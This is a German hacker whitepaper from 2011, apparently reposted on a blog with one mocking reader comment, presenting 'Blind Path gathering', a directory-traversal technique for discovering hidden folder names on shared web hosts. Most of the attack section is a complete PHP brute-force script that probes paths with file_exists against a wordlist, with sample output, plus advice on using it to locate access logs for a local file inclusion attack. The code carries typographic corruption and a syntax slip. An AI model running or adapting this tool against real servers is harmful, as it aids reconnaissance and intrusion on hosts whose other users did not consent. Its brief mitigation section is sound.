1. Terminologie
2. Funktionsweise & Angriff
3. Angriffsarten
4. Schutzmaßnahmen
5. Rechtliches
6. Danksagungen
Download PDF : http://ul.to/oskz1adb
1. Terminologie:
„Blind Path gathering“ zu Deutsch: Blind Pfade ermitteln.
Die Bezeichnung „Blind Path gathering“ bezieht sich darauf, dass ein Angreifer
Mittels
wechseln des Ordner’s innerhalb der Verzeichnisstruktur Rueckschluesse auf die
Existenz eines
Ordner’s schliest auf den, dessen Unterordner & Ueberordner er keinen Zugriff
hat.
(Entwickelt wurde diese Hacking Methode vom deutschen Hacker „unnex“ mitte des
Jahres 2011.)
Vorkommen:
Blind Path gathering ist eine Angriffsart die sich auf die Wechselmoeglichkeiten
innerhalb einer
Verzeichnisstruktur bezieht. Ein Vulnerable dieser Art tritt dann auf, wenn ein
Angreifer
mindestens Leserechte fuer die Verzeichnisstruktur des jeweiligen Systems hat.
Diese Vulnerables sind quasi im Großteil des WWW zu finden. Derzeit ist php_mod
bei Apache
mit Abstand am beliebtesten. Allerdings laesst es keine ausreichende Trennung
der Nutzerbereiche zu,
wie Blind Path gathering beweist. Und so sieht das auch bei den meisten anderen
Systemarten im WWW aus.
Diese Art des Vulnerables kann Local sowie Remote vorkommen.
2. Funktionsweise & Angriff:
Anders als beim bekannten bruten von Ordnern und Dateien versucht der Hacker
hier nicht einen Ordner zu oeffnen
um zu sehen ob er existiert. Bei einem Blind Path gathering Bug begeht der
Angreifer den Pfad des
Ordners den er ermitteln moechte und resultiert daraus ob dieser Ordner
existiert und wie er heist.
Bsp: Wir befinden uns im Ordner /var/apache/http/meinspace/. Alles was wir
wissen u.o. ermitteln koennen
ist das wir uns in einem Ordner namens /meinspace/ befinden. Der Angreifer geht
nun folgendesmaßen vor:
Er wechselt den Pfad: ./../meinspace/. Ist das wechseln des Pfades erfolgreich
verlaufen weis
der Angreifer das vor seinem Ordner „meinspace“ ein weiterer Ordner liegt.
Sehr einfach zu Handhaben mit file_exists Abfrage von PHP:
if (file_exists(„./../meinspace/datei.php“)) { echo „ihr ordner ist nur ein
ordner in einem anderen ordner :D“; }
Nun steht fuer den Hacker fest das der Pfad /[unbekannt]/meinspace/ existiert.
Um den Namen dieses unbekannten Ordners zu ermitteln wird folglich eine
Dictionary Liste genutzt:
./[brute]/meinspace/datei.php
Ein Passendes Script dafuer koennte so aussehen:
[php]
<?php
$pab="";
$filename="dic.txt";
if (isset($_POST["fl"])) { if (strlen($_POST["fl"])>0) { $filename=$_POST["fl"];
$filename=preg_replace("/</" ,"&lt;", $filename);
$filename=preg_replace("/>/" ,"&gt;", $filename);
$filename=preg_replace("/\"/" ,"&quot;", $filename);
$filename=preg_replace("/’/" ,"&apos;", $filename); } }
if (isset($_POST["pp"])) { if (strlen($_POST["pp"])>0) {
$pab=preg_replace("/</" ,"&lt;", $_POST["pp"]);
$pab=preg_replace("/>/" ,"&gt;", $pab);
$pab=preg_replace("/\"/" ,"&quot;", $pab);
$pab=preg_replace("/’/" ,"&apos;", $pab); } }
echo "<html>";
echo "<i><u>root path:</u></i> " . $_SERVER[‚DOCUMENT_ROOT‘] . "<br><i>(dont
forget add more ../ to your path if root path is not the path with the running
script… what i say, you will see it)</i><br><i><u>use:</i></u>
/[brute]/<br><br>";
$fullback=explode("/", $_SERVER[‚DOCUMENT_ROOT‘]);
$i=0; echo "<i>(if you need to spell bypass: ./";
while (isset($fullback[$i])) { echo "../"; $i++; }
echo "[brute]/.." . $_SERVER[‚DOCUMENT_ROOT‘] . "/";
echo "<br>…to brute the first folder on your root path<br>or brute the second
folder: ./";
$i=0;
while (isset($fullback[$i])) { echo "../"; $i++; }
echo "folder/[brute]/../.." . $_SERVER[‚DOCUMENT_ROOT‘] . "/";
echo " etc…)</i><br><br>";
echo "<form action=\"\" method=\"post\">";
echo "<input type=\"text\" name=\"fl\" value=\"" . $filename . "\"> ";
echo "<input type=\"text\" name=\"pp\" value=\"" . $pab . "\">";
echo "<input type=\"submit\" value=\"start\"></form>";
$ok="0";
if (strlen($pab)>0 isset($_POST["fl"])) {
echo "<b>brute…</b><br>";
$i=0; $full=" ";
$fp = @fopen($filename, "r") or die ("cant open file!");
while($p = fgets($fp, 1024)){ $p=preg_replace("/\n/", "", $p);
$p=preg_replace("/\r\n/", "", $p); $p=preg_replace("/ /", "", $p);
$p = preg_replace(‚/\r\n|\r|\n/‘, “, $p);
$path=preg_replace("/\[brute\]/" , $p, $_POST["pp"]);
if (file_exists($path . "dummy.txt")) { $ok="found"; } if ($ok=="0") { } else {
if (!preg_match("/ " . $p . " /", $full, $match)) {
$pa=preg_replace("/</" ,"&lt;", $p);
$pa=preg_replace("/>/" ,"&gt;", $pa);
$pa=preg_replace("/\"/" ,"&quot;", $pa);
$pa=preg_replace("/’/" ,"&apos;", $pa);
$px=$_POST["pp"];
$px=preg_replace("/</" ,"&lt;", $px);
$px=preg_replace("/>/" ,"&gt;", $px);
$px=preg_replace("/\"/" ,"&quot;", $px);
<p style="text-align: left;">$px=preg_replace("/’/" ,"&apos;", $px);
$patha=preg_replace("/\[brute\]/" , "<u>" . $pa . "</u>", $px);
$ok=$ok . ": " . $patha; echo $ok . "<br>"; $i++; $full=$full . $p . " ";
$ok="0"; } $ok="0"; }
}
fclose($fp);</p>
echo "<br>founds: " . $i . "<br><b>success!</b></html>"; }
?>[/php]
So ist es einem Angreifer moeglich sich durch das gesamte Ordnersystem des
jeweiligen Rechnersystem’s zu kaempfen.
Wie aus dem eben gezeigten Bsp-Script hervorgeht, ist es auch nicht selten das
man mittels PHP zumindest
den derzeitigen kompletten Pfad ermitteln kann. Zb:
/usr/export/www/vhosts/funnetwork/hosting/tutorialgermanhd/.
Man wuerde nun so vorgehen:
./../../../../../../../../[brute]/../usr/export/www/vhosts/funnetwork/hosting/tu
torialgermanhd/.
Das Ergebnis koennte so aussehen:
found:
./../../../../../../../../bin/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../dev/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../etc/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../lib/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../mnt/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../opt/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../srv/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../sys/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../tmp/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../usr/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../var/../usr/export/www/vhosts/funnetwork/hosting/tutori
algermanhd/
found:
./../../../../../../../../home/../usr/export/www/vhosts/funnetwork/hosting/tutor
ialgermanhd/
3. Angriffsarten:
Local Blind Path gathering, Remote Bling Path gathering.
Wie das ganze Local aussehen koennte wissen wir ja schon vom Unterpunkt
„Funktionsweise“.
Allerdings kann diese Methode auch Remote von nutzen sein.
Zb. bei einer Local File Inclusion. Befindet man sich in der Situation eine LFI
Luecke zu haben aber keinen Ordner ermitteln zu koennen in der Zb. die Accesslogs
liegen, so kann
man sich, wie schon in „Funktionsweise“ beschrieben, den benoetigten Pfad
bruten.
4. Schutzmaßnahmen:
Der normale User bzw. Nutzer hat im Grunde keine moeglichkeit sich sinnvoll zu
schutzen,
Außer vllt, aehnlich wie bei passwoertern, sichere Ordnernamen verwenden. Ob
dies bequem oder
in Angesicht der Technichen Entwicklung ausreichend ist, halte ich allerdings
fuer fraglich.
Die Adminsitratoren der Rechnersysteme sind die Instanz die diese Art von
Vurlnerable beachten muss.
Das eindeutige Trennen der Nutzerrechte auf einem System ist hirfuer
ausreichend. Also, auch das Trennen
der Verszichnisstrukturrechte.
5. Rechtliches:
Blind Path gathering ist eine Hacker Methode, enwickelt von unnex und unterliegt
somit dem Gesetz,
dass es Geistiges Eigentum des Erfinders ist.
Ich distanziere mich von jeglichen Schaden der durch illigale Nutzung dieser
Informationen & Hacking Methode
enstehen kann oder wird.
Diese Informationen duerfen, sofern nicht unter falscher Erfinderinformation,
frei kopiert und weiter
gegeben werden. In original sowie abgeaenderter Form.
6. Danksagungen:
greetz to: Kugelfisch, SeriallKiller, DayDream, Specter, Stratomonster,
swordfish, .True, Bi0virus, YaHomie, Binary, moonlight, bursali, Chris Hunter,
Sannur, cunit156, Entwarnung, Fatal1ty, golem, Helix, sPloiT, Mystia,
darkhammer, Lauri$$, Nitrama, Lars Sobiraj, L3w3x, Staix aka Padrino, Soul, Sven
Metzler, David Vieira-Kurz aka aesthetico, Tjak
greetz to crew: n0-N4m3 Cr3w (http://nn-crew.cc), ljuska & x0rg
(http://www.ljuska.org)
—
visit: http://blacknet.me
Whitepaper by unnex
—
Whitepaper geschrieben und online gestellt am 13.07.2011
Ein Kommentar
Moron
was fürn spast – "der hacker unnex"… HAHA
Dann auch noch etwas, was seit jahren bekannt ist. und fühlt sich wie ein held. 14 Jahr alt?